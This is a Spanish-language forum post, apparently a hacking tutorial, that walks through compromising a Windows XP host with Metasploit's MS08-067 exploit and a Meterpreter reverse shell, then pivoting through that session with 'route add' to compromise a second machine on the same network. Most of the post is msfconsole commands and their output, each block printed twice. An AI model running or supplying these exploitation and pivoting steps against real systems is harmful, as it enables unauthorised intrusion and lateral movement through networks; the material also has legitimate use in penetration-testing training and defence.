[Metasploit] Comprometiendo Sistemas Conectados en la misma Red

[By: Shell Root]

[By: Shell Root]
Ahora que estamos avanzando un poco con nuestro gran amigo Metasploit, vamos a ver como son comprometidos sistemas que están conectados a la misma red de la P.C a la que acabamos de atacar. (Importante: PC1: 192.168.0.3, PC2: 192.168.0.5, PCShellRoot: 192.168.0.6). Primero ingresemos a la PC1.
Código:
shell@Alex:~/msf3$ ./msfconsole
__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ \/ \/ |__|
=[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.6
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.6:52378 -> 192.168.0.3:4444)
__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ \/ \/ |__|
=[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.6
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.6:52378 -> 192.168.0.3:4444)
Después de realizar la intrusión a la PC1, y teniendo consigo la session del Meterpreter, vamos a dejarla trabajando en segundo plano, pulsamos Ctrl + Z y a continución pulsamos S para confirmar. Es necesario la ejecución del comando route (Tráfico de la ruta con destino a una subred). Ahora vamos a crear una ruta para PC2 indicando su IP y Máscara de Subred, junto al ID de sesión del Meterpreter (Para ver el ID de la session del Meterpreter, ejecutar el comando sessions -l).
Código:
msf exploit(ms08_067_netapi) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.0.6:52378 -> 192.168.0.3:4444
msf exploit(ms08_067_netapi) > route add 192.168.0.5 255.255.255.255 1
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.0.6:52378 -> 192.168.0.3:4444
msf exploit(ms08_067_netapi) > route add 192.168.0.5 255.255.255.255 1
Después de esto, vamos a lanzar de nuevo el exploit o que queramos usar, pero contra la maquina PC2.
Código:
shell@Alex:~/msf3$ ./msfconsole
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.5
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 2 opened (192.168.0.6:47734 -> 192.168.0.5:4444)
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.5
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 2 opened (192.168.0.6:47734 -> 192.168.0.5:4444)
Si corremos en la PC2 el comando "netstat -na", veremos la interacción con la PC1.
By: Shell Root










Autor




En línea


salte el pedazo de route add

